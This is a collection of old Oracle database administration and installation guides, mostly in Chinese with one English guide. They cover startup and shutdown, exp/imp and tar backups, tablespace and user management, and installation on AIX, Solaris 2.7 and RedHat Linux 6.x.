等待十几秒左右，当看到

oracle instances started,

database mounted,

database opened的时候，oracle数据库打开成功

第二步的操作由如下命令组成

%svrmgrl 唤醒SVRMGR状态

SVRMGR >connect internal 连接内核

SVRMGR>startup 打开数据库

SVRMGR>exit

%

备注：打开数据库startup可带三个参数，分别是

SVRMGR> startup nomount 仅启动instances

SVRMGR> startup mount 启动instances,连上(mount)数据库

SVRMGR> startup normal 启动instances,连上(mount)数据库

打开(open)数据库

startup缺省参数是normal

③、 %lsnrctl start 启动 oracle listener

如果出错检查环境变量是否设好，及lsnrctl文件的内容和执行属性。

2、 关闭数据库

①、#su - oracle

②、%lsnrctl stop 关闭 oracle listener

③、%dbshut

等待几秒左右，当看到

database closed

database dismounted

oracle instances shut down的时候，oracle数据库关闭成功

第三步的操作由如下命令组成

%svrmgrl 唤醒SVRMGR状态

SVRMGR>connect internal 连接内核

SVRMGR>shutdown 关闭数据库

SVRMGR>exit

%

备注：关闭数据库shutdown可带三个参数，分别是

SVRMGR> shutdown abort 非正常立刻关机。等于忽然停电

SVRMGR> shutdown immediate 做回滚操作，立刻关机。

SVRMGR> shutdown normal 正常关机

shutdown缺省参数是normal

二、用exp、imp命令做逻辑备份

1、输出export

基本命令：一般用交互方式，在oracle用户提示符下键入

% exp user/password í

exp 模式

①、table:export 某个用户模式下指定的table ;而不是所有的table ,而且不包
括cluster定义；

②、user: export一个用户模式下所有的对象(如表、数据、索引等)；

export 示例 user mode：

③、full database: export database 中所有的对象，执行这个必须被给

exp-full-database角色。

export 示例

A、dababase mode

% exp system/manager

... ... ...

enter array fetch buffer size :4096>(return)

export file :expdat.dmp >dba.dmp

e(ntire database),u(sers),t (ables):u>e

export grants (y/n):y>y

export table data (y/n):y>y

compress extents(y/n):y>y

B、table mode

% exp system/manager

... ... ...

enter array fetch buffer size :4096>(return)

export file :expdat.dmp >dba.dmp

e(ntire database),u(sers),t (ables):u>t

export grants (y/n):y>y

export table data (y/n):y>y

compress extents(y/n):y>y

About to exp specified tables ...

Table to be exported (RETURN quit) > emp ( 输入要输出的表名 )

.... exporting table EMP 14 rows exported

About to exp specified tables ...

Table to be exported (RETURN quit) > 如此循环下去，按回车退出

2、输入import

前提：在database建立之后，必须运行oracle-home /rdbms /admin/catexp.sql
才能使用export,import。

权限：要使用 import ,必须要有create session 权限。如果要import 其它用户
的表，必须要有imp_full_databade角色。(运行了catexp.sql后，dba就有了imp
_full_database角色)。

字符：与export有关，只要两台机器的字符设置一样就没问题。

基本命令：一般用交互方式，在oracle用户提示符下键入

% imp user/password

imp 模式

①、table:允许用户import在用户模式下指定的table ,而不是所有的table;

②、user:允许用户import 属于用户本身所有的对象；

③、full database:允许用户import所有的database对象，必须被给予

imp-full-database角色。

import 示例

imp system/manager

...

import file :expdat.dmp>

enter insert buffer size (minimum is 4096)30720>

export file created by export:v 07.01.03

list contents of import file only(yds /no):no>

ignore create error due to obyict existence (yes /no):yes >

import grants (yes /no):yes>

import table data (yes /no):yes >

import entire export file (yes /no):yes >no

注意事项：

①、import 的权限必须大于、等于export的权限；

②、 对于long colums 由于对内存的特殊要求(需要地址连续的内存区)export
和 import有时不会成功；

③、对于备份到磁带上，export 和import 建议用同一台磁带机。

三、用tar命令做物理备份

1、#su - oracle

2、% tar cvf /dev/rmt/0 .

把oracle 路径下所有文件备份到磁带机上

3、% tar xvf /dev/rmt/0

把备份磁带上所有文件恢复进oracle 当前路径

4、% tar tvf /dev/rmt/0

查看磁带上有些什么文件

四、数据库的扩充

1、增加一个表空间

当我们要开发某个大型的应用程序时，最好建立一个相应的表空间。

命令示例：

SVRMGR>create tablespace application datafile

‘/usr/oracle/dbs/application.dbf’ size 3M

针对具体情况增加回滚和临时表空间

命令示例：

SVRMGR>create rollback tablespace rbs8 datafile

‘/usr/oracle/dbs/rbs8.dbf’ size 4M

SVRMGR>create tablespace tmp8 datafile

‘/usr/oracle/dbs/tmp8.dbf’ size 550K

回滚和临时表空间用完后，可删除或使它offline

SVRMGR>drop tablespace rbs8;

SVRMGR>drop tablespaces tmp8;

SVRMGR>alter tablespace rbs offline;

SVRMGR>alter tablespace tmp8 offline;

建立回滚段举例：

SVRMGR>create rollback segment rs11 tablespace tmp8 ;

SVRMGR>alter rollback segment rs11 online;

SVRMGR>alter rollback segment rs11 offline;

2、增加某个表空间的大小

当一个表空间的大小不能满足工作需要时，应该扩充表空间。

举例：

SVRMGR>alter tablespace system

add datafile ‘/usr/oracle/dbs/sys338.dbf’ size 3M;

五、增加oracle的用户，并给用户授权

1、增加oracle的用户, 并给用户授权

举例：

SVRMGR>create user newuser identified by userpasswd

default tablespace application

temporary tablespace tmp8;

SVRMGR>grant connect to newuser;

SVRMGR>grant resource to newuser;

SVRMGR>grant update on emp to newuser;

2、增加oracle的角色

oracle的缺省角色有connect、resource、dba。它是一组可以分配给其它role

或用户的权限总和，connect 有8个权限，resource 有5个权限，dba有77

个权限。给一般连接用户赋connect，给一般编程人员赋connect加resource,

只有数据库管理员才有dba的权限。

①创建一个角色

SVRMGR>create role newrole identified by rolepasswd;

②给角色赋权限

SVRMGR>grant select on all table to newrolle;

SVRMGR>grant connect to newrole with admin option;

3、中断用户同oracle的连接

当oracle数据库要关机或某个用户占有的大量的资源需要被释放时，dba

需中断用户同oracle的连接。

①、SVRMGR>select sid,serial#,username from v$session;

②、SVRMGR>alter system kill session ‘interger1,interger2’;

interger1,interger2分别对应于sid和serial#


Oracle技术网—ORACLE V.7.3.4.3 FOR AIX 安装说明

Oracle For AIX

ORACLE V.7.3.4.3 FOR AIX 安装说明
1. 为ORACLE管理员创建用户及其所属的组.
1.1 #smit groups
1.2 选择Add a Group
1.3 Group NAME填入dba
1.4 #smit user
1.5 选择Add a User
1.6 User NAME填入oracle
1.7 #chown oracle:dba (将oracle用户归入dba组)

2. 修改环境变量.
2.1 #su - oracle
2.2 $env (查看环境变量)
2.3 vi .profile (path为/home/oracle)
__________________________________________________________
PATH=/usr/bin:/etc:/usr/sbin:/usr/ucb:$HOME/bin:/usr/bin/X11:/sbin:.

export PATH
ORACLE_BASE=/o7rdbms/app/oracle;export ORACLE_BASE
ORACLE_HOME=$ORACLE_BASE/product/7.3.4;export ORACLE_HOME
ORACLE_SID=ORCL;export ORACLE_SID;export ORACLE_SID
LD_LIBRARY_PATH=$ORACLE_HOME/lib;export LD_LIBRARY_PATH
ORA_NLS32=$ORACLE_HOME/ocommon/nls/admin/data;export ORA_NLS32
PATH=$ORACLE_HOME/bin:$PATH;export PATH
TMPDIR=$ORACLE_BASE/temp;export TMPDIR
ORACLE_TERM=3151;export ORACLE_TERM

___________________________________________________________
if [ -s "$MAIL" ] # This is at Shell startup. In normal
then echo "$MAILMSG" # operation, the Shell checks
fi # periodically.
~
~

3. 创建目录(即环境变量中的TMPDIR)
(在ORACLE_BASE目录即/o7rdbms/app/oracle下)
3.1 $mkdir temp
$mkdir olink (ORACLE安装程序会自动拷贝至该目录下)
3.2 将CDROM文件系统mount.
3.3 执行CDROM文件系统下
orainst/start.sh
cd_link/cd_link
3.4 转入olink目录,$vi start.sh
(一般不需改该文件,但此处需将此文件中"./orainst"改为"./orainst.")
3.5 转入/olink/orainst目录
#bootpre.sh
#./orainst.

4. 开始安装程序.
4.1 INSTALL TYPE 选择custom
4.2 INSTALLATION ACTIVITY CHOICE 选择
4.2.1 software (*)
4.2.2 data object
4.2.3 maintenance
4.3 安装程序问bootpre是否已运行,选YES.
4.4 NLS安装.选ALL.
4.5 是否Relink. y/n都可.
4.6 选product.(一般选以下product即可)
Advanced Replication Option
Oracle unix installer
Oracle 7 Distributed Database
Oracle 7 Server (RDBMS 7.3)
PL/SQL V2
PRO *C
Oracle Parrel query
Oracle JDBC
Oracle Inteligent Agent
SQL *net V2
SQL *PLUS V3.3.4
TCP/IP Protocol Adapter
4.7 选择group. (dba)
4.8 在ORACLE_HOME/rdbms/install/rdbms目录下
$vi cnfg.orc (将db_blocks_size改为8192)
4.9 修改Character Set为zhs16cgb231280
4.10 修改DB参数
4.10.1 系统询问是否使用Default参数,选"NO"
4.10.2 修改数据库的Location.
4.10.3 system Data File Size 改为:300M
4.10.4 Redo Log 改为:2M
4.10.5 RBS(Rollback Segment) 改为:600M
4.10.6 Temp Segment File 改为:500M
4.10.7 user Data File 改为:100M
4.10.8 Tools Data File 改为:100M

5. 作patch
5.1 $svrmgrl (进入ORACLE服务器管理程序)
5.2 >connect internal
5.3 @catlog (执行patch,共四个程序,耗时较长)
5.4 @catproc
5.5 ......
5.6 ......

6. tar命令打包.
tar -cvf $app.tar $appname
tar -xvf $app.tar $appname

7. 修改AIX中文件大小设置.
#cd etc/security
#vi limits
将所需用户(此处为ORACLE用户)改为类似以下所示
...
...
default:
fsize = 2097151
core = 2048
cpu = -1
data = 262144
rss = 65536
stack = 65536
...
...
ORACLE:
fsize = 4194303
core = 2048
cpu = -1
data = 262144
rss = 65536
stack = 65536
...
...

8. 监控文件大小程序.
while true
> do
> ls -l a.c
> sleep 2
> done

9. VG设置及备份策略
9.1 rootvg上的文件系统(4.5G)
______________________________
home
usr
o7forAIX
o7rdbms
tmp
var

9.2 oracle_vg上的文件系统(9.1G)
_______________________________
oracle

9.3 备份策略
9.3.1 rootvg可采用#smit mksysb
9.3.2 oracle_vg可进入smit,
选择 System Storage Management (Physical & Logical Storage)
选择 File Systems
选择 Backup a File System


Oracle技术网—ORACLE8I FOR SUN SOLARIS2.7 安装说明

ORACLE8I FOR SUN SOLARIS2.7 安装说明
来源：阳光男孩：Oracle园

一、安装 ORACLE 前的准备工作

说明：准备工作主要是增加ORACLE 的用户及组，改变一些系统参数文件。

1、 #vi /etc/passwd 最后一行加 oracle::9722:643:oracle:/ORACLE_HOME:/bin/csh
(增加oracle用户/或者用useradd)

2、 #vi /etc/group 最后一行后加 dba::643:oracle
(增加oracle的组/或者用groupadd)

3、#passwd oracle 敲两次口令，给oracle用户标明密码

4、 在根 / 下 #chown oracle oracle #chgrp dba oracle

5、 #cp .cshrc /oracle 把根下的这两个文件拷贝到 /oracle 路径下

6、 #cd oracle #chown oracle .* 把拷贝过来的隐含文件变成oracle属组 #chgrp dba .*

7、 #vi /etc/services 最后增加两行 orasrv 1525/tcp oracle listener 1521/tcp

8、 #vi /etc/system 在set后增加一段
set shmsys:shminfo_shmmax=4294967295
set shmsys:shminfo_shmmin=1
set shmsys:shminfo_shmmni=100
set shmsys:shminfo_shmseg=10
set semsys:seminfo_semmns=200
set semsys:seminfo_semmni=70

9、 #su - oracle

10、 %vi .cshrc 增加一段

set path=( /oracle/bin /usr/sbin /usr/bin /usr/openwin/bin /oracle /etc /usr/ccs/bin . )
setenv ORACLE_HOME /oracle
setenv ORACLE_SID oracle8
#setenv DISPLAY 10.1.1.110:0.0
setenv NLS_LANG AMERICAN_AMERICA.ZHS16CGB231280
#setenv NLS_LANG=SIMPLIFIED CHINESE_CHINA.ZHS16GBK

说明：加#为可选的参数， 10.1.1.110是用PC机运行EXTRAX登录服务器所配置的。

11、#sync;sync;reboot Sun OS重启，使参数生效

二、安装 ORACLE

1 、插入ORACLE 安装光盘
#/etc/init.d/volmgt stop
#/etc/init.d/volmgt start
%volcheck
%df -k 检查有无cdrom的设备

2、 %cd /cdrom/cdrom0 %./runInstaller 出现 ORACLE Universal Installer的安装窗口,按Next键继续

3、Destination框输入将要安装oracle的目录，接着出现弹出窗口要求用root运行/tmp/orainstRoot.sh (它创建oraInventory的安装目录) 接着选择要安装的产品ORACLE8I 8.1.5

4、选typical或custom安装，注意屏幕上端Language按钮，选Chinese语言。

5、接着出现将要安装ORACLE产品的全部信息，如果有不对的地方可以按Perious按钮返回修改。如果确认无误，按Next，ORACLE开始安装。

6、安装成功100%后又回到开始的选项菜单。/oracle/orainst/install.log 安装日志文件最后提示OK

7、弹出Setup Privileges窗口,要求用root运行 #/oracle/root.sh
Are these setting correct (y/n):敲 y Enter the full pathname of the local bin directory (y/n): 敲/bin (此shell 程序在/var/opt/oracle路径下生成一个文件oratab ,并做系统检测)

8、 #vi /var/opt/oracle/oratab 最后一行改 oracle8:/oracle:Y

9、#vi /var/opt/oracle/listener.ora 改 host= (host_name) oraclehome= (/oracle)
例子: listener=(address_list=
(address=(protocol=tcp)
(port=1521)
(host=joe)))
sid_list_listener=(sid_list=
(sid_desc=(sid_name=oracle8)
(oracle_home=/oracle)))
trace_level+listener=admin
startup_wait_time_listener=0
connect_timeout_listener=5

10、#vi /var/opt/oracle/tnsnames.ora 一些连接字符串，分布式通讯时有用

11、#su - oracle %env 看环境变量改变了没有

12、%svrmgrl 唤醒SVRMGR状态
SVRMGR>connect internal
连接打开数据库 SVRMGR>shutdown immediate 先关闭 instances, 数据库
SVRMGR>startup 再打开数据库，当看到 instances startup, database mount, database open的时候，oracle安装成功
SVRMGR>exit

14、 %lsnrctl start 启动listener 如果出错检查环境变量是否设好，及lsnrctl文件的内容和执行属性。


Oracle¼¼ÊõÍø¡ªRedHat 6.1 Step-by-step Install notes for Oracle 8i

RedHat 6.1
Step-by-step Install notes for Oracle 8i

IMPORTANT! NOTES ABOUT ORACLE 8i
Despite the release of some patches in December (which are part of this doc's install process), this product is still very buggy. Hopefully, Oracle 8i, release 2, which hasn't been released for Linux yet, will fix some of the problems.

The machine I used to install Oracle
Though Oracle recommends at least 256 megs RAM, I used a Pentium III 450 with 128 megs. Building the database took a long time on this machine, but it works.

What's in this doc
There are six parts:
RedHat initial install - Covers what is needed at minimum to install with RedHat 6.1, plus memory parameters recommended by Oracle and why you shouldn't use them.
Stuff you have to download before installing - You need the Java RunTime Environment and a patch before even proceeding with the installation.
Oracle pre-install - Setting up your users, groups, mount points and environment variables.
Oracle install - Where you actually install the software.
Changing permissions and applying the patch - Highly recommended you apply this patch.
Oracle post-install - Clean-up tasks and testing.
I make no guarantees that the installation will work if you decide to just use part of these instructions vs. the whole thing.

Editorial comment about this document
I'm not a Linux guru, but I proceeded to put these pages up to help other lost soles like me. If you see something that makes you laugh hysterically here, do me a favor: When you're done laughing, drop a note to me, tbissett@fwn.fortwayne.com, and (kindly) let me know where I'm nuts.

Why use Redhat?
Oracle used RedHat when they ported the server to Linux and will continue to use RedHat when developing. It likely will be the least hassle to install.

Redhat Initial Install
Install any way you would like, keeping the following steps in mind as you're doing it.

A. Partitioning
1) Make swap partitions (max. 128 mb ea.) equivalent to three times RAM installed.

2) Partition the drive to your preferences. I ignored the OFA-compliance and just made one mount point (/u01). You can also fake OFA by making four directories, but you won't gain any performance from this. You'll gain some performance by creating four distinct partitions (/u01, /u02, /u03, /u04) and you'll gain the most performance by having each of these mount points on four distinct drives, as Oracle recommends.

B. X Windows
Love it or hate it, you have to have X Windows for Oracle 8i. The installer is now GUI-based. With Redhat 6.1, you can use Gnome or KDE. They both work fine right out of the box.

C. Install options
Will the Redhat WORKSTATION installation work? Yes.
Will the RedHat SERVER installation work? Yes.
Will the RedHat CUSTOM installation work? As long as you install the following packages:

  • XWindows of some sort
  • Development
  • You can add other packages to suit your needs.
D. If you want to reconfigure the kernel:
1) If you have the RedHat 6.1 CD, place it in your CD drive. If it doesn't automatically mount, mount it and change to the /RedHat/RPMS directory.
  • mount -t iso9660 /dev/cdrom /mnt/cdrom
  • cd /cdrom/RedHat/RPMS
2) Install the kernel source RPM. You only need to do this if you want to change the kernel parameters:
  • rpm -ivh kernel-source-2.2.12-20.i386.rpm. This is the kernel source, so that we can recompile the kernel for new memory parameters. More on that later.
3) Change out of the cdrom directory and unmount the RedHat CD:
  • cd /
  • umount /cdrom
Kernel memory params
The front of the Oracle installation manual lists some memory parameters which, according to the Oracle install manual, need to be changed before installing the software.

Oracle will run fine without changing any of the RedHat parameters. This is because nearly all the RedHat parameters are already above Oracle's recommendation.
(somebody, please correct me if I am wrong).

The only parameter you MIGHT have to worry about is the SHMMAX setting, and you should only worry about this one if your machine has more than 64 megs RAM, and you are really going to do some heavy database work. If you feel like you MUST change it (and I wouldn't necessarily recommend it), here's how:

WARNING!
Changing the kernel parameters requires recompiling the Linux kernel. If you have never done this, I highly recommend you get a good book that walks you through the process and all the 100+ different options when you run the configure script. If you aren't sure of some of them, choosing the wrong one may prevent you from booting your system!

Changing memory params
1) Change to the directory listed below and edit the shmparam.h file.

  • cd /usr/src/linux/include/asm
  • vi shmparam.h
2) A little further down is a line that says "#define SHMMAX 0x2000000." The 0x2000000 is hex for 32 megs. Oracle says this value should be one-half of your installed memory. Change it to the appropriate value. For example, I have 128 megs RAM in my machine, so Oracle suggests I change this setting to 0x4000000, or slightly above 64 megs.
Other values:
0x4000000 = 67108854
0x6000000 = 100663296
0x8000000 = 134217728

3) Save the file.

4) You're now ready to proceed with the process of recompiling the kernel. Recompile it, then continue below.

Stuff you have to download before installing
Java RunTime Environment
Starting with 8i, Oracle requires a Java RunTime Environment to run the installer. The bad news is that RedHat doesn't come with one, so you have to download it. the good news is it's real easy to obtain and install.

1) Login as root and use a web browser to go to http://www.blackdown.org

2) Click on the downloads link.

3) Pick an FTP site that is geographically near you.

4) The file to look for is jre_1.1.6-v5-glibc-x86.tar.gz. Do NOT download a newer version and make sure you are downloading the file that begins with jre... and NOT the one that starts with jdk... This is the wrong file.

5) Download this file to /usr/local.

6) Open a terminal window. We'll now extract the file and create a symbolic link so the Oracle Installer can find it. Run the following commands:

  • tar xzvf jre_1.1.6-v5-glibc-x86.tar.gz
  • ln -s /usr/local/jre116_v5 /usr/local/jre
7) That's all there is to it!

The oracle 8i patchset
These patches fix some critical problems in Oracle 8i for Linux. It is highly recommended you install these patches!

1) Use your web browser to go to http://technet.oracle.com.

2) If you haven't registered, do so now. It's free and and is a good site for getting help.

3) Click on the Software button.

4) On the "Select a Product" pulldown, select "8i Enterprise Edition," even if you are are installing the Standard edition. The patchset is the same.

5) Enter in your name and password when it asks.

6) Click on the appropriate product on the next screen.

7) Accept the license agreement.

3) Finally, the file you are looking for is linux_815patches.tgz

4) Save this file to root's home directory for now. We'll move it later.

Now that you have downloaded these files, it's time for the Oracle pre-install tasks.

Oracle Pre-Install
In this section, we create the necessary user groups and accounts which will ultimately manage the oracle software..

Set up Oracle account and group
The oracle account is what we will use to install software and start and stop the oracle database. It should not be used for day-to-day operations. The dba groups is for Database Administrators.

1) If you don't have a terminal window already open, open one now.

2) In the terminal windows, create your groups.

  • groupadd dba
3) Create the oracle user.
  • useradd oracle -g dba (sub number with dba group number from above)
  • passwd oracle (to change password)

4) Remember the linux_815patches.tgz file we downloaded earlier? Let's move it to a directory within oracle's home directory now and change the permissions so oracle can run it later. Enter the following commands in a terminal window:

  • mv ~/linux_815patches.tgz /home/oracle
  • chown -R oracle.dba /home/oracle/linux_815patches.tgz
5) If you didn't make mount points with disk partitioning, make a directory for oracle, such as /u01.
  • mkdir /u01. (You can also fake the OFA-compliancy by mkdir /u01, /u02, /u03 and /u04.
6) Change owner and group permissions on these mount points.
  • chown oracle.dba /u01 (run same command for /u02, /u03 and /u04 if you have them)
7) Log out.

8) Log in as oracle.

Setting up the oracle user's environment
1) If you don't have a terminal window open, open one now.

2) If your Oracle CD isn't already in the CD drive, put it in now. If it doesn't mount automatically, you can use the following commands to mount it:

  • su root (enter password)
  • mount -t iso9660 /dev/cdrom /mnt/cdrom (sub w/ your CD device locator).
  • exit (to exit superuser privileges).

3) Verify umask is 022 by typing umask [enter]. If it is, great. If not, you'll need to put it in .bash_profile, which we edit in the next step.

4) Use your favorite editor to edit the .bash_profile file in your oracle account's home directory. Put the following lines in this file:

  • ORACLE_HOME=/u01/app/oracle/product/8.1.5; export ORACLE_HOME
  • LD_LIBRARY_PATH=/u01/app/oracle/product/8.1.5/lib; export LD_LIBRARY_PATH
  • ORACLE_BASE=/u01/app/oracle; export ORACLE_BASE
  • ORACLE_SID=ORCL; export ORACLE_SID
  • ORACLE_TERM=vt100; export ORACLE_TERM
  • ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data; export ORA_NLS33
  • PATH=$PATH:/u01/app/oracle/product/8.1.5/bin; export PATH
  • (optional) umask 022 (only if umask does not default to 022)
3) There is one more environment variable you need to add to your .bash_profile. it is the NLS_LANG variable and depends on which language set you want to use. You MUST add this variable or the database creation will likely fail! Here are the available values (use the quotes in your NLS_LANG variable if they appear below):

In my case, since I use US English, I'll put the following in my .bash_profile:

  • NLS_LANG=american; export NLS_LANG
Language | NLS_LANG value
US English | american
Arabic | arabic
Brazilian Portugese | "brazilian portugese"
Canadian French | frc
Czech | czech
Danish | danish
Dutch | dutch
Finnish | finnish
French | french
German | german
Hungarian | hungarian
Icelandic | is
Italian | italian
Japanese | japanese
Korean | korean
Lithuanian | lt
Mexican Spanish | esm
Norweigan | norweigan
Polish | polish
Portugese | portugese
Russian | russian
Simplified Chinese | "simplified chinese"
Slovak | slovak
Swedish | swedish
Thai | th
Traditional Chinese | "traditional chinese"
Turkish | turkish

3) Log out, then back in as oracle. Open a terminal window again if one isn't open and type env to see if all the above variables now appear in your environment.

4) Also make sure all the following paths are in your path statement, in addition to the Oracle path you specified above: /bin, /usr/bin, /usr/local/bin.

5) If everything isn't there, double-check your spelling, etc. in your .bash_profile. If everything is there, great! We're ready to install some software.

Oracle Install
Since we are using RedHat, we have to run a special version of the installer. If you do NOT use RedHat try running runInstall at the CD's root level. For RedHat, follow the instructions below.

1) If your CD isn't mounted when you log back in, use a terminal windows to mount it again with the following commands:

  • su root (enter root password)
  • mount -t iso9660 /dev/cdrom /mnt/cdrom
  • exit (to exit superuser privledges).
2) In a terminal window, change to the directory containing the RedHat install script.
  • cd /mnt/cdrom/install/linux
2) Start the installer
  • ./runIns.sh
3) A GUI window appears. Welcome to the Java-based Oracle installer.

4) Click the Next button.

5) Verify that the Source path says [cd mount point]/stage/products.jar

6) The Destination path should be the same as your $ORACLE_HOME environment variable.

7) Click Next.

8) At the Unix Group Name window, enter "dba" as the group, then click Next.

9) A window will now pop up asking you to run the orainstRoot.sh script. Here is how to do that:

  • Open a new terminal window
  • su root (enter your password)
  • cd /tmp/orainstall
  • ./orainstRoot.sh
  • exit (to exit the SU privileges)
  • exit (to close the terminal session)

10) Go back to that popup window that appeared and click the Retry button.

11) You will now get the Available Products screen. Select Oracle 8i 8.1.5.0.0 and click Next.

12) On the next screen, select Custom, then Next. It seems this is the only option that works halfway decently.

13) You will now be at the Available Product Components screen. You can pretty much leave it as is. The one option you may wish to deselect is Oracle Intermedia. It doesn't work too well yet, so why bother? You're choice, though. Click Next when you finished.

14) Now, the installer asks you if you want to create a database. Select No. Even though you select No, it will still try to create one later. We just choose No for now to get rid of a few extra windows. Click Next.

15) The Oracle Protocol Support window now appears. It will be blank, which is fine. TCP/IP is always installed, so don't worry about not seeing it as an option. Click Next.

16) Finally, we're at the Summary window, which lists everything you're about to install. Click the Install button.

17) I have noticed a bug where the installer might tell you that you don't have enough disk space to install everything. If you are sure you do, just hit OK on the warning(s).

18) The software begins installing! Woo-woo!

19) After files have been copied, you will get another pop-up asking you to run the root.sh script.

  • Open a terminal window
  • su root (enter password)
  • cd $ORACLE_HOME
  • chmod 744 root.sh (fixes the script to execute)
  • ./root.sh
  • Just hit Enter when it asks for the Path to your local bin directory
  • exit (to exit superuser privileges)
  • exit (to exit the terminal window)
20) Return to that pop-up window and hit OK.

21) The Oracle Database Configuration Assistant now starts (even though we told it not to earlier).

22) You will get an error message that starts with "JNLS Exception." Ignore it. Hit OK.

23) When the Database Configuration Assistant comes up, just hit the Cancel button.

24) Confirm that you want to exit at the next window.

25) You will now get a message saying one or more tools have failed. You can ignore this window. Hit OK.

26) Hit the Next button.

27) You are now at the End of Installation screen. Hit Exit.

28) Confirm that you want to exit.

29) Now, we change permissions on some files and apply the patch.

Changing permissions and patching Oracle 8i
Changing the permissions
This script will change permissions on certain files. Use the same terminal window that you used to apply the patch.

1) Run the following commands:

  • cd $ORACLE_HOME/install/utl
  • ./linux.sh
2) Move on to applying the patch when this script finishes..

The patch
The version you just installed was Oracle 8i 8.1.5.0.0. This patch will take it to 8.1.5.0.2. Oracle strongly recommends applying this patch.

1) Do the following commands:

  • cd ~
  • tar xzvf linux_815patches.tgz
  • cd linux_815patches
  • ./linux_815patches.sh
2) You will now get a couple of messages telling you the patches are being applied. Don't worry about the message at the end telling you to link the Intelligent Agent executables.

3) It's time to create the database.

Create the Database
This is where we create the original database. This can take a long time. It took over an hour on my Pentium III 450.

1) In your teminal window, enter the following command:

  • dbassist &
2) You will once again get the annoying but meaningless JNLS Exception error. Hit OK.

3) Select Create a Database and hit Next.

4) Select Custom and hit Next.

5) You can pretty much accept the defaults on the next four screens. Hit Next through them, stopping at the screen that asks you for the Global Database Name.

6) At this prompt, enter a name to identify this database. The name MUST be eight characters or less. Your SID should also be the same as you entered earlier in your environment variables.

7) Hit Next.

8) You can accept the defaults through the next six screens. Hit next until you get to the window that asks to Create database now.

9) Make sure Create database now is selected, then hit the Finish button.

10) Confirm that you want to proceed by hitting Yes.

11) Go get some lunch or watch TV. It's going to take a while.

12) When the database creation is finished, you will get a message saying so. Hit OK and proceed to the post-install tasks.

Oracle post-install
Now comes the fun part!

IMPORTANT! Default passwords
Oracle installed two accounts off the bat for administering the database. Here are the names and passwords for both:
sys - change_on_install
system - manager

1) Use the same terminal window as before.

2) If you want to access the Oracle server with the GUI management tools from another PC, you will need to start the TNS listener. The default config works for most TCP/IP installations, but you may need to change it. It worked for us.

  • lsnrctl start
3) The Oracle Server should be running. If not, you can start it with the following commands:
  • svrmgrl
  • connect internal
  • startup
  • quit
4) If you want to set up the sample tables for user scott/tiger, you can do it this way:
  • cd $ORACLE_HOME/rdbms/admin
  • sqlplus (Connect as sys)
  • @utlsampl.sql
5) Now start SQLPlus and login as user scott and password "tiger". Do a "select * from emp" and you should get some records back.

6) You should now be able to create users tables etc. Your RDBMS is up and running!


Oracle技术网—RedHat Linux 6.0 上 Oracle 8(8.0.5)标准版 安装实例

位置：首页→linux→

【点击：】 阿木伯 著
RedHat Linux 6.0 上 Oracle 8(8.0.5)标准版 安装实例

  • 本例使用软件：
      1、操作系统：　　　RedHat Linux 6.0 正版光盘一张
      2、数据库：　　　　Oracle 8(8.0.5) for Linux 标准版
      3、补丁程序：　　　glibcpatch.tgz
  • 软件下载地址：
      1、Linux：RedHat Linux 6.0 正版光盘一张
      2、Oracle：
         到Oracle的老家下载
         Oracle 8(8.0.5) for Linux 标准版[138MB]
         ftp://ftp.oracle.com/pub/www/otn/linux/805ship_tar.gz
      3、补丁：
         到Oracle的老家下载
         glibcpatch.tgz[346KB]
         ftp://ftp.oracle.com/pub/www/otn/linux/glibcpatch.tgz
  • 安装前说明：
      1、检查是否有足够的硬盘剩余空间，本例/home下有4GB空间。
  • 开始安装：
      1、首先安装RedHat，以server方式安装。

      2、安装Oracle 8。

[root@oradb /root]#　　　　　　　　　　　　　　 #以root系统用户登录
[root@oradb /root]# groupadd dba　　　　　　　　#创建dba组
[root@oradb /root]# useradd oracle -g dba　　　 #在dba组中建新用户oracle
[root@oradb /root]# passwd oracle　　　　　　　 #修改oracle用户口令

[root@oradb /root]# mount /mnt/cdrom　　　　　　#挂上光驱
[root@oradb /root]# cd /mnt/cdrom　　　　　　　 #
[root@oradb cdrom]# ls -l
[root@oradb cdrom]# cd RedHat　　　　　　　　　 #
[root@oradb RedHat]# cd RPMS　　　　　　　　　　#到光驱/mnt/cdrom/RedHat/RPMS目录
[root@oradb RPMS]# ls -l

注：dba组和oracle用户是oracle安装需要的
注：创建oracle用户后，linux系统自动在/home目录下创建/home/oracle目录，给oracle用户使用，
    oracle用户对此目录拥有所有的权限，

本例把oracle系统安装在/home/app目录下

检查Oracle 8.0.5所需的Redhat的兼容库是否已经安装好。
[root@oradb RPMS]# rpm -q compat-binutils
compat-binutils
[root@oradb RPMS]# rpm -q compat-glibc
compat-glibc
[root@oradb RPMS]# rpm -q compat-egcs
compat-egcs
[root@oradb RPMS]# rpm -q compat-egcs-c++
compat-egcs-c++
[root@oradb RPMS]# rpm -q compat-libs
compat-libs

如果没有安装好上述这些兼容库，可从RedHat 6.0光盘的/RedHat/RPMS目录中找到这些文件：

[root@oradb RPMS]# rpm -ivh compat-binutils-5.2-2.9.1.0.23.1.i386.rpm
compat-binutils           #################################################
[root@oradb RPMS]# rpm -ivh compat-glibc-5.2-2.0.7.1.i386.rpm
compat-glibc              #################################################
[root@oradb RPMS]# rpm -ivh compat-egcs-5.2-1.0.3a.1.i386.rpm
compat-egcs               #################################################
[root@oradb RPMS]# rpm -ivh compat-egcs-c++-5.2-1.0.3a.1.i386.rpm
compat-egcs-c++           #################################################
[root@oradb RPMS]# rpm -ivh compat-libs-5.2-1.i386.rpm
compat-libs               #################################################

[root@oradb RPMS]# cd　　　　　　　　　　　　　#回到root根目录
[root@oradb /root]# umount /mnt/cdrom　　　　　#解除光驱挂载
或
[root@oradb /root]# eject　　　　　　　　　　　#直接弹出光驱

[root@oradb /root]# mkdir /home/app　　　　　　#在/home下建立app目录
[root@oradb /root]# chown oracle.dba /home/app #把/home/app目录的权限赋给dba组的oracle用户

[root@oradb /root]# mkdir /home/app/805　　　　#在/home/app下建立805目录，用来存放Oracle安装文件
[root@oradb /root]# mkdir /home/app/patch　　　#在/home/app下建立patch目录，用来存放补丁安装文件

将805ship_tar.gz拷贝到/home/app/805

[root@oradb /root]# cd /home/app/805　　　　　 #转到/home/app/805目录
[root@oradb 805]# tar zxvf 805ship_tar.gz　　　#在当前目录下解压缩805ship_tar.gz文件

将glibcpatch.tgz拷贝到/home/app/patch

[root@oradb 805]# cd /home/app/patch　　　　　 #转到/home/app/patch目录
[root@oradb patch]# tar zxvf glibcpatch.tgz　　#在当前目录下解压缩glibcpatch.tgz文件

[root@oradb patch]# cd /home/app/805/orainst　 #转到/home/app/805/orainst目录
